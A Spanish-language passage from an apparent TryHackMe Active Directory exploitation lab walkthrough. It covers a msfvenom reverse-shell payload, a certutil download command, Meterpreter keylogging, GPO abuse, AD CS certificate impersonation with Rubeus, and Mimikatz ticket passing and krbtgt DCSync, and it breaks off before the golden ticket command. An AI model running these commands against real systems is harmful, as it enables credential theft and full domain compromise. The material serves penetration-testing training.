[*] Executed specified command on host: 172.31.1.201

USER INFORMATION
----------------

User Name           SID     
=================== ========
nt authority\system S-1-5-18


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes                                        
====================================== ================ ============ ==================================================
BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner    
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label            S-1-16-16384                                                   
[...]

Este resultado se parece a lo que sucedería si usara el -c 'whoami /all'comando. Sin embargo, al no especificar ningún comando, ahora debería haber realizado un volcado de hash. ¡Estas credenciales ahora se pueden usar para obtener un shell en el host!

Exploiting AD Users

Hemos llegado bastante lejos con nuestra explotación hasta este punto. Tenemos acceso administrativo completo a estaciones de trabajo y servidores. Básicamente, podemos realizar una postexplotación en casi cualquier sistema de Nivel 1 y Nivel 2. Pero todavía queremos ir más allá. La siguiente tarea también puede verse como post-explotación, pero a menudo es excelente cuando todavía estamos realizando la explotación para alcanzar una posición adecuada para la ejecución del objetivo. Es hora de que nos dirijamos a los usuarios de AD .

Users and User Behavior

La fábrica del futuro sólo tendrá dos empleados. Un humano y un perro. El humano estará allí para alimentar al perro. El perro estará allí para morder al humano si intenta tocar algo. -Warren Bennis

Lamentablemente, los usuarios suelen ser el eslabón más débil de la cadena de seguridad. Basta pensar en contraseñas débiles y malos hábitos, como otorgar permisos demasiado permisivos. Sería ignorante e ineficaz pasar por alto esta superficie de ataque. Si bien es bueno desarrollar una metodología de ataque y enumeración adecuada contra los usuarios de AD , en esta tarea nos centraremos en dos elementos:

  • Gestión de credenciales: cómo los usuarios almacenan sus credenciales. En AD , esto es bastante importante ya que los usuarios pueden tener varios conjuntos de credenciales y recordarlas todas puede ser una molestia.

  • Registro de teclas: a menudo, durante la explotación, necesitamos comprender cómo interactúan los usuarios normales con un sistema. Junto con las capturas de pantalla, el registro de teclas puede ser una herramienta útil para comprender esto desde la perspectiva del atacante.

Buscando credenciales

Ahora que hemos comprometido THMSERVER1, probablemente deberíamos mirar a nuestro alrededor para ver si hay alguna información útil. Eche un vistazo a los directorios de usuarios y vea si hay alguna información útil en alguno de ellos.

Sus esfuerzos de enumeración deberían llevarlo a un archivo .kdbx. ¡Una búsqueda rápida en Google debería confirmar nuestra sospecha de que este archivo es realmente muy valioso! Podemos usar el comando de descarga de Meterpreter para recuperar este archivo.

Este archivo parece ser una base de datos de credenciales. El problema, sin embargo, es que la base de datos está cifrada con una contraseña. Podríamos intentar descifrar la contraseña, pero cualquiera que utilice una base de datos de credenciales normalmente tiene la habilidad para asegurarse de que la contraseña inicial sea segura. Es posible que tengamos más éxito viendo cómo interactúa el usuario con esta base de datos.

El sistema es a veces demasiado privilegiado

Meterpreter tiene un registrador de teclas incorporado. Esto será útil para extraer las pulsaciones de teclas del usuario. Sin embargo, no podemos simplemente iniciar este registrador de teclas y esperar lo mejor ya que nuestro shell se está ejecutando actualmente en el contexto SISTEMA. El SISTEMA no escribirá ninguna pulsación de tecla, por lo que esto no nos ayudará. Para capturar las credenciales del usuario correcto, necesitaremos asegurarnos de que nuestro shell se esté ejecutando en el contexto de ese usuario.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=exploitad LPORT="Listening port" -f psh -o shell.ps1

Luego, también puede usar lo siguiente para crear el oyente asociado en msfconsole:

sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST exploitad; set LPORT "listening port'; exploit"

Puede alojar su shell meterpreter usando un servidor web Python y luego copiarlo usando algo como esto:

certutil.exe -urlcache -split -f http:///shell.ps1

Una vez que tenga un shell meterpreter, puede continuar. El primer paso es ver si los usuarios tienen algún proceso en ejecución en esta máquina:

meterpreter\>ps | grep "explorer"
Filtering on 'explorer'

Process List
============

 PID   PPID  Name          Arch  Session  User                     Path
 ---   ----  ----          ----  -------  ----                     ----
 3612  3592  explorer.exe  x64   1        THMSERVER1\trevor.local  C:\Windows\explorer.exe

Nota: Si no ve un proceso explorer.exe para el usuario trevor.local, puede iniciar el proceso usted mismo realizando los siguientes pasos:

  1. Restablezca la contraseña del usuario trevor.local usando el siguiente comando:net user trevor.local <chosen password>

  2. Ejecute lo siguiente en powershell:C:\auto-login.ps1 trevor.local <chosen password> THMSERVER1

  3. Reinicie el servidor usandoshutdown -r

  4. Una vez que el servidor vuelva a estar en línea, debería ver el proceso del explorador.

¡Parece que tenemos suerte! El usuario tiene una sesión activa en THMSERVER1. Migremos a un proceso de este usuario. La apuesta más segura suele ser algo así como explorer.exe:

meterpreter\>migrate 3612
[*] Migrating from 4408 to 3612...
[*] Migration completed successfully.

Podemos confirmar que ahora estamos ejecutando en el contexto de nuestro objetivo usando el comando getuid:

meterpreter\>getuid
Server username: THMSERVER1\trevor.local

Ahora estamos listos para iniciar nuestro keylogger:

meterpreter\>keyscan_start
Starting the keystroke sniffer ...

Ahora hay que tener paciencia y esperar. Si tenemos suerte, ¡capturaremos algunas credenciales! Espere un par de minutos y luego ejecute lo siguiente para volcar las pulsaciones de teclas capturadas:

meterpreter\>keyscan_dump
Dumping captured keystrokes...
keep<CR>
<Shift>Passwordpasswordpassword<CR>

Aunque la persistencia solo se discutirá en la siguiente sala, ahora podría ser un buen momento para crear una cuenta local en THMSERVER1 y otorgarle derechos de administrador para tener una buena posición. Dado que esto no es realmente necesario para el resto de las tareas, si desea hacer esto, deberá investigar un poco al respecto usted mismo.

Exploiting GPOs

El registro de teclas del usuario nos permitió descifrar su base de datos de credenciales, proporcionándonos credenciales que pueden ser útiles para promover nuestro objetivo de explotación de AD , es decir, la cuenta svcServMan. Necesitamos realizar un poco de enumeración para determinar para qué serán útiles estas credenciales. Por suerte para nosotros, ya tenemos datos de Sharphound que podemos utilizar. Usando la función de búsqueda en Bloodhound, revisemos los permisos que tiene la cuenta descubierta:

Un permiso, en particular, destaca para esta cuenta: la propiedad sobre un objeto de política de grupo ( GPO ). Además, cuando investigamos un poco, parece que este GPO se aplica a nuestra máquina THMSERVER2:

¡Esto puede brindarnos la oportunidad ideal para promover nuestra explotación de AD !

Objetos de política de grupo

¿Recuerda cuando hablamos del directorio SYSVOL en Enumeración de AD ? Este es el directorio donde se almacenan los GPO de AD para replicarlos en máquinas unidas a un dominio. Un GPO es una colección virtual de configuraciones de políticas. Cada GPO tiene un nombre único, llamado GUID. Es por eso que si intentas leer el contenido del directorio SYSVOL, no tendrá mucho sentido con todos los nombres aleatorios.

Cada computadora con Windows tiene una configuración de política local. Este contiene varias configuraciones notables como:

  • Configuración de aplicaciones para servicios como Firewall , Antivirus y Applocker.

  • Membresía de grupo local, como los grupos Administrador o Usuarios de escritorio remoto.

  • Configuración de inicio, como scripts que deben ejecutarse.

  • Configuraciones de seguridad y protocolo, como compatibilidad con SMBv1.

Estos son solo algunos ejemplos. Hay una cantidad significativa de opciones de configuración que se pueden configurar.

Administración de Políticas de Grupo

Si solo tiene una computadora con Windows, es fácil cambiar la configuración de la política local directamente en el host. Sin embargo, necesita un mecanismo para implementar una configuración desde una ubicación central en organizaciones grandes. Aquí es donde entra en juego la gestión de políticas de grupo (GPM). En lugar de definir políticas localmente en cada máquina, GPM nos permite definir políticas directamente en la estructura de AD . Básicamente, podemos definir GPO para objetos AD, como una unidad organizativa o un grupo específico.

Las computadoras unidas a un dominio extraerían periódicamente todas las políticas de SYSVOL y aplicarían las relevantes. De forma predeterminada, las políticas se replican cada 15 minutos a través de la aplicación gpupdate. Sin embargo, también podemos ejecutar manualmente esta aplicación desde el símbolo del sistema para aplicar políticas al instante.

Explotación de GPO

Aunque hay varias formas en que se pueden explotar los GPO, nos quedaremos con la solución simple de agregar una cuenta AD que controlamos tanto a los grupos locales de administradores como a los de usuarios de escritorio remoto. Esto nos permitirá privilegios administrativos en THMSERVER2 y la capacidad de RDP. También podríamos usar el puerto SSH expuesto, pero no muchas organizaciones se han actualizado para proporcionar acceso SSH. Por lo tanto, el acceso RDP o las técnicas de movimiento lateral convencionales como SMBExec son más seguras.

C:\>runas /netonly /user:za.tryhackme.loc\<AD Username> cmd.exe

Una vez que se le solicite, proporcione la contraseña asociada con la cuenta. Para verificar que proporcionó las credenciales correctas, puede ejecutar dir \\za.tryhackme.loc\sysvol. En la ventana del símbolo del sistema recién generada, podemos iniciar Microsoft Management Console:

C:\>mmc

Captura de pantalla de MMC.

Ahora queremos agregar el complemento Administración de políticas de grupo:

  1. Haga clic en Archivo -> Agregar o quitar complemento

  2. Seleccione el complemento Administración de políticas de grupo y haga clic en Agregar

  3. Haga clic en Aceptar

Ahora debería poder ver los GPO para el dominio za.tryhackme.com:

Ahora podemos navegar hasta el GPO que nuestro usuario tiene permiso para modificar (Servidores > Servidores de administración > Push del servidor de administración).

Podemos hacer clic derecho en el GPO y seleccionar Editar. Esto abrirá la nueva ventana del Editor de administración de políticas de grupo.

Para agregar nuestra cuenta a los grupos locales, debemos realizar los siguientes pasos:

  1. Expandir la configuración de la computadora

  2. Ampliar políticas

  3. Expandir la configuración de Windows

  4. Expandir configuración de seguridad

  5. Haga clic derecho en Grupos restringidos y seleccione Agregar grupo (si el grupo de soporte de TI ya existe, significa que alguien ya realizó el exploit. Puede eliminarlo para crearlo usted mismo o simplemente inspeccionarlo para ver qué se configuró).

  6. Haga clic en Examinar, ingrese Soporte de TI y haga clic en Verificar nombres

  7. Haga clic en Aceptar dos veces

El primer filtro no se utiliza. Para el segundo filtro, queremos agregar los grupos Administradores y Usuarios de Escritorio remoto. Al final debería quedar algo como esto:

Una vez realizada la configuración, podemos pulsar en Aplicar y Aceptar . Ahora solo nos queda esperar un máximo de 15 minutos para que se aplique el GPO . Después de esto, nuestra cuenta inicial que hicimos miembro del grupo de soporte de TI ahora tendrá permisos administrativos y RDP en THMSERVER2.

Exploiting Certificates

Ahora que tenemos acceso a THMSERVER2, hemos avanzado en nuestro viaje de explotación de AD explotando todos los activos de Nivel 1 (servidores). Sin embargo, nuevamente nos encontramos estancados sin los medios simples para pasar al siguiente nivel. Nuevamente tendremos que buscar caminos más creativos.

Servicios de certificados AD (AD Certificate Services)

AD Certificate Services (CS) es la implementación de infraestructura de clave pública (PKI) de Microsoft. Dado que AD proporciona un nivel de confianza en una organización, se puede utilizar como CA para demostrar y delegar la confianza. AD CS se utiliza para varias cosas, como cifrar sistemas de archivos, crear y verificar firmas digitales e incluso autenticación de usuarios, lo que lo convierte en una vía prometedora para los atacantes.

Dado que AD CS es una función privilegiada, normalmente se ejecuta en controladores de dominio seleccionados. Lo que significa que los usuarios normales no pueden interactuar directamente con el servicio. En la otra cara de la moneda, las organizaciones tienden a ser demasiado grandes para que un administrador cree y distribuya cada certificado manualmente. Aquí es donde entran en juego las plantillas de certificado. Los administradores de AD CS pueden crear varias plantillas que pueden permitir que cualquier usuario con los permisos pertinentes solicite un certificado por sí mismo. Estas plantillas tienen parámetros que indican qué usuario puede solicitar el certificado y qué se requiere. SpecterOps descubrió que combinaciones específicas de estos parámetros pueden ser increíblemente tóxicas y abusadas para escalar privilegios y acceso persistente.

Antes de profundizar en el abuso de certificados, algunos términos:

  • PKI - Public Key Infrastructure es un sistema que gestiona certificados y cifrado de clave pública.

  • AD CS: Servicios de certificados de Active Directory es la implementación de PKI de Microsoft que generalmente se ejecuta en controladores de dominio.

  • CA: la Autoridad de certificación es una PKI que emite certificados

  • Plantilla de certificado: una colección de configuraciones y políticas que definen cómo y cuándo una CA puede emitir un certificado.

  • CSR: la solicitud de firma de certificado es un mensaje enviado a una CA para solicitar un certificado firmado.

  • EKU: el uso de claves extendido/mejorado son identificadores de objetos que definen cómo se puede utilizar un certificado generado.

Encontrar plantillas de certificados vulnerables (Finding Vulnerable Certificate Templates)

Para encontrar plantillas vulnerables, usaremos la herramienta integrada de Windows, certutil. Usando nuestro acceso RDP en THMSERVER2, podemos ejecutar el siguiente script de Powershell para enumerar los certificados:

C:\>certutil -Template -v > templates.txt
  • Autenticación del cliente : el certificado se puede utilizar para la autenticación del cliente.

  • CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT : la plantilla de certificado nos permite especificar el nombre alternativo del sujeto (SAN).

  • CTPRIVATEKEY_FLAG_EXPORTABLE_KEY : el certificado se podrá exportar con la clave privada.

  • Permisos de certificado : tenemos los permisos necesarios para utilizar la plantilla de certificado.

Si está interesado en obtener más información sobre las combinaciones de parámetros tóxicos, lea el documento técnico de SpecterOps. Dado que el objetivo de esta sala es obtener un conocimiento más amplio de los ataques de explotación de AD , señalaremos que la Plantilla[32] es la plantilla vulnerable. En esta plantilla, podemos ver que la cuenta de máquina de THMSERVER2 puede emitir una CSR para una plantilla que nos permite especificar el Nombre alternativo del sujeto (SAN) y puede usarse para la autenticación del cliente.

SpecterOps menciona ocho errores de configuración de seguridad comunes con AD CS, por lo que cabe señalar que todavía se pueden encontrar una cantidad significativa de posibles errores de configuración.

Explotar una plantilla de certificado (Exploiting a Certificate Template)

Utilizando el acceso RDP en THMSERVER2, ahora solicitaremos nuestro certificado. Si utiliza Remmina y guarda la configuración de la conexión RDP, asegúrese de desactivar el modo de administración restringido . Usaremos la Microsoft Management Console (MMC):

  1. Haga clic en Inicio -> ejecutar

  2. Escribe mmc y presiona enter

  3. Haga clic en Archivo -> Agregar o quitar complemento.

  4. Agregue el complemento Certificados y asegúrese de seleccionar Cuenta de computadora y Computadora local en las indicaciones.

  5. Haga clic en Aceptar

Ahora debería ver el complemento Certificado:

Solicitaremos un certificado personal:

  1. Haga clic derecho en Personal y seleccione Todas las tareas -> Solicitar nuevo certificado...

  2. Haga clic en Siguiente dos veces para seleccionar la política de inscripción de AD .

  3. Verá que tenemos una plantilla que podemos solicitar, pero primero debemos proporcionar información adicional.

  4. Haga clic en la advertencia Más información .

  5. Cambie la opción Tipo de nombre del sujeto a Nombre común y proporcione cualquier valor, ya que no importa, y haga clic en Agregar .

  6. Cambie la opción Tipo de nombre alternativo a Nombre principal de usuario .

  7. Proporcione el UPN del usuario que desea suplantar. Lo mejor sería una cuenta DA como Administrator@za.tryhackme.loc y hacer clic en Agregar.

Su información adicional debería verse así:

Una vez que esté satisfecho con él, haga clic en Aplicar y Aceptar . Luego, seleccione el certificado y haga clic en Inscribirse . Debería poder ver su certificado:

El último paso es exportar nuestro certificado con la clave privada:

  1. Haga clic derecho en el certificado y seleccione Todas las tareas -> Exportar...

  2. Haga clic en Siguiente , seleccione Sí, exporte la clave privada y haga clic en Siguiente .

  3. Haga clic en Siguiente y luego establezca una contraseña para el certificado, ya que la clave privada no se puede exportar sin una contraseña.

  4. Haga clic en Siguiente y seleccione una ubicación para almacenar el certificado.

  5. Haga clic en Siguiente y finalmente haga clic en Finalizar.

Suplantación de Usuario a través de un Certificado

Ahora por fin podemos suplantar a un usuario. Para realizar esto, se requieren dos pasos:

  • Utilice el certificado para solicitar un ticket de concesión de tickets (TGT) de Kerberos

  • Cargue Kerberos TGT en la plataforma de piratería que elija

Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:

Analicemos los parámetros:

  • /user : especifica el usuario que suplantaremos y debe coincidir con el UPN del certificado que generamos.

  • /enctype : especifica el tipo de cifrado del ticket. Configurar esto es importante para la evasión, ya que el algoritmo de cifrado predeterminado es débil, lo que daría como resultado una alerta de sobrepaso del hash.

  • /certificate - Ruta al certificado que hemos generado

  • /password : la contraseña de nuestro archivo de certificado.

  • /outfile - El archivo donde se enviará nuestro TGT

  • /domain : el FQDN del dominio que estamos atacando actualmente

  • /dc : la IP del controlador de dominio al que solicitamos el TGT. Por lo general, es mejor seleccionar un DC que tenga un servicio de CA en ejecución.

Una vez que ejecutamos el comando, deberíamos recibir nuestro TGT :

TGT Request

C:\THMTools> .\Rubeus.exe asktgt /user:Administrator /enctype:aes256 /certificate:vulncert.pfx /password:tryhackme /outfile:administrator.kirbi /domain:za.tryhackme.loc /dc:12.31.1.101
          ______        _
         (_____ \      | |
          _____) )_   _| |__  _____ _   _  ___
         |  __  /| | | |  _ \| ___ | | | |/___)
         | |  \ \| |_| | |_) ) ____| |_| |___ |
         |_|   |_|____/|____/|_____)____/(___/
       
         v2.0.0
       
       [*] Action: Ask TGT
       
       [*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=vulncert
       [*] Building AS-REQ (w/ PKINIT preauth) for: 'lunar.eruca.com\svc.gitlab'
       [+] TGT request successful!
       [*] base64(ticket.kirbi):
       
             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
       
         ServiceName              :  krbtgt/za.tryhackme.loc
         ServiceRealm             : ZA.TRYHACKME.LOC
         UserName                 : Adminsitrator
         UserRealm                : ZA.TRYHACKME.LOC
         StartTime                :  2/6/2022 5:54:46 PM
         EndTime                  :  2/7/2022 3:54:46 AM
         RenewTill                :  2/13/2022 5:54:46 PM
         Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
         KeyType                  :  aes256_cts_hmac_sha1
         Base64(key)              :  Qr+FUX+/G2jHgAR2ssW11+lhaPlB6dMD8V5/rENwJVU=
         ASREP (key)              :  BF2483247FA4CB89DA0417DFEC7FC57C79170BAB55497E0C45F19D976FD617ED

Ahora podemos usar Mimikatz para cargar el TGT y autenticarnos en THMDC:

Potencia Shell

C:\Tools>mimikatz_trunk\x64\mimikatz.exe

  .####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt administrator.kirbi

* File: 'administrator.kirbi': OK

mimikatz # exit
Bye!

C:\Tools>dir \\THMDC.za.tryhackme.loc\c$\
 Volume in drive \\THMDC.za.tryhackme.loc\c$ is Windows
 Volume Serial Number is 1634-22A9

 Directory of \\THMDC.za.tryhackme.loc\c$

01/04/2022  08:47 AM               103 delete-vagrant-user.ps1
04/30/2022  10:24 AM               154 dns_entries.csv
04/27/2022  10:53 PM           885,468 MzIzMzViM2ItMmQ2Zi00YWQ3LWEwNjEtYjg2MmFjNzViY2Ix.bin
09/15/2018  08:19 AM    <DIR>          PerfLogs
03/21/2020  09:31 PM    <DIR>          Program Files
03/21/2020  09:28 PM    <DIR>          Program Files (x86)
04/27/2022  08:27 AM             1,423 thm-network-setup-dc.ps1
04/25/2022  07:13 PM    <DIR>          tmp
04/27/2022  08:22 AM    <DIR>          Users
04/25/2022  07:11 PM    <SYMLINKD>     vagrant [\\vboxsvr\vagrant]
04/27/2022  08:12 PM    <DIR>          Windows
               7 File(s)      2,356,811 bytes
               7 Dir(s)  50,914,541,568 bytes free

¡Finalmente, tenemos acceso a la infraestructura de Nivel 0 y hemos comprometido todo el dominio secundario!

Exploiting Domain Trusts

Aunque tenemos acceso a la infraestructura de Nivel 0, esto todavía no es suficiente. Sólo hemos explotado el dominio ZA.TRYHACKME.LOC. Seguramente TRYHACKME también debe tener dominios para otras regiones. Bueno, si tomamos el control del dominio raíz, TRYHACKME.LOC, estaremos en condiciones de comprometer todos estos dominios regionales. En esta tarea, veremos cómo se puede aprovechar la confianza del dominio para tomar el control de todo el bosque.

Domain Trusts

Hay dos tipos principales de confianzas que se pueden configurar entre dominios:

  • Direccional: la dirección de la confianza fluye desde un dominio de confianza a un dominio de confianza.

  • Transitivo: la relación de confianza se expande más allá de solo dos dominios para incluir otros dominios confiables.

Es común tener un dominio raíz o padre en un bosque. En nuestro caso, este es TRYHACKME.LOC. Para cada oficina regional, se crean subdominios o dominios secundarios, como ZA.TRYHACKME.LOC o UK.TRYHACKME.LOC. Esta configuración de bosque permitirá compartir recursos entre ZA y la oficina del Reino Unido. Por ejemplo, si algún usuario de la oficina del Reino Unido requiere acceso a THMSERVER1, podemos otorgarle acceso al usuario en el dominio ZA. Esta delegación de permisos funciona porque existe una confianza bidireccional entre ZA y el dominio raíz y el Reino Unido y el dominio raíz, lo que esencialmente crea una confianza transitiva entre ZA y Reino Unido.

Como se mencionó anteriormente, la confianza entre un dominio principal y un dominio secundario es bidireccional. Este es el comportamiento previsto y se utiliza para compartir recursos a través de mayores relaciones de confianza transitivas. Sin embargo, como atacante, también podemos explotar esta confianza para comprometer el dominio principal si hemos comprometido un dominio secundario.

KRBTGT and Golden Tickets

KRBTGT es la cuenta utilizada para la implementación de Kerberos por parte de Microsoft . El nombre se deriva de Kerberos (KRB) y Ticket Granting Ticket (TGT). Básicamente, esta cuenta actúa como cuenta de servicio para el servicio del Centro de distribución de Kerberos (KDC), que maneja todas las solicitudes de tickets de Kerberos. Esta cuenta se utiliza para cifrar y firmar todos los tickets de Kerberos para el dominio. Dado que todos los controladores de dominio comparten el hash de contraseña, pueden verificar la autenticidad del TGT recibido cuando los usuarios solicitan acceso a los recursos.

Sin embargo, ¿qué pasa si queremos generar nuestros propios TGT para darnos acceso a todo? Esto se conoce como ataque del Boleto Dorado. En un ataque Golden Ticket, evitamos el KDC por completo y creamos nuestros propios TGT, convirtiéndonos esencialmente en un servidor de concesión de tickets (TGS). Para falsificar TGT, necesitamos la siguiente información:

  • El FQDN del dominio

  • El identificador de seguridad (SID) del dominio.

  • El nombre de usuario de la cuenta que queremos suplantar

  • El hash de contraseña KRBTGT

Los tres primeros suelen ser fáciles de recuperar. El último requiere un compromiso de dominio ya que el hash de contraseña KRBTGT solo se almacena en los controladores de dominio. Por suerte para nosotros, acabamos de comprometer al grupo de administradores de nivel 0 con un certificado falsificado, por lo que estamos en condiciones de recuperar el hash de contraseña de KRBTGT.

Usaremos nuevamente Mimikatz con DC Sync para recuperar el hash de contraseña KRBTGT en THMSERVER2:

C:\Tools>mimikatz_trunk\x64\mimikatz.exe

  .####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # lsadump::dcsync /user:za\krbtgt
[DC] 'za.tryhackme.loc' will be the domain
[DC] 'THMDC.za.tryhackme.loc' will be the DC server
[DC] 'za\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 4/25/2022 7:18:22 PM
Object Security ID   : S-1-5-21-3885271727-2693558621-2658995185-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: removed
    ntlm- 0: removed
    lm  - 0: removed
[....]

Inter-Realm TGTs

Usando el hash de contraseña KRBTGT, ahora podríamos falsificar un Boleto Dorado para acceder a cualquier recurso en el dominio secundario. Esto también se discutirá con más detalle en la sala AD persistente . Sin embargo, podemos llevar esto un paso más allá al forjar un TGT Inter-Realm. Los TGT Inter-Realm se utilizan para proporcionar acceso a recursos en otros dominios. En nuestro caso, queremos explotar la relación de confianza bidireccional entre el dominio secundario y principal para obtener acceso completo al dominio principal.

Incluiremos SID de cuentas adicionales de otros dominios cuando construyamos el Golden Ticket para realizar este exploit. Mimikatz puede ayudar con esto, permitiéndonos configurar la sección ExtraSids de la estructura KERB_VALIDATION_INFO del Kerberos TGT. La sección ExtraSids se describe como "Un puntero a una lista de estructuras KERB_SID_AND_ATTRIBUTES que contienen una lista de SID correspondientes a grupos en dominios distintos del dominio de cuenta al que pertenece el principal".

La clave aquí es que explotaremos la confianza que el dominio principal tiene con nuestro dominio secundario agregando el SID del grupo de administradores empresariales (EA) como un SID adicional a nuestro ticket falsificado para el controlador de dominio del dominio secundario. El grupo EA pertenece al dominio principal y la membresía en este grupo esencialmente otorga privilegios administrativos sobre todo el bosque. El SID predeterminado para este grupo es S-1-5-21-RootDomain-519.

Antes de que podamos pasar a la explotación, primero debemos recuperar dos SID:

  • El SID del controlador de dominio secundario (THMDC), que nos haremos pasar por nuestro TGT falsificado

  • El SID de los administradores empresariales en el dominio principal, que agregaremos como un SID adicional a nuestro TGT falsificado.

Para recuperar estos SID, podemos utilizar los cmdlets AD-RSAT Powershell. Podemos recuperar el SID del controlador de dominio secundario usando el siguiente comando:

PS C:\> Get-ADComputer -Identity "THMDC"

DistinguishedName : CN=THMDC,OU=Domain Controllers,DC=za,DC=tryhackme,DC=loc
DNSHostName       : THMDC.za.tryhackme.loc
Enabled           : True
Name              : THMDC
ObjectClass       : computer
ObjectGUID        : bd651750-782b-4b09-93b4-b5987ec7311b
SamAccountName    : THMDC$
SID               : S-1-5-21-3885271727-2693558621-2658995185-1001
UserPrincipalName :

Podemos recuperar el SID del grupo Enterprise Admins usando el siguiente comando para consultar el controlador de dominio principal:

PS C:\> Get-ADGroup -Identity "Enterprise Admins" -Server thmrootdc.tryhackme.loc

DistinguishedName : CN=Enterprise Admins,CN=Users,DC=tryhackme,DC=loc
GroupCategory     : Security
GroupScope        : Universal
Name              : Enterprise Admins
ObjectClass       : group
ObjectGUID        : a23ae384-16e8-44d5-9b36-8173c4e0e5de
SamAccountName    : Enterprise Admins
SID               : S-1-5-21-3330634377-removed-519

Explotación de confianzas de dominio

Finalmente tenemos toda la información necesaria para crear nuestro TGT falsificado . Usaremos Mimikatz para generar este billete dorado. El comando se verá así:

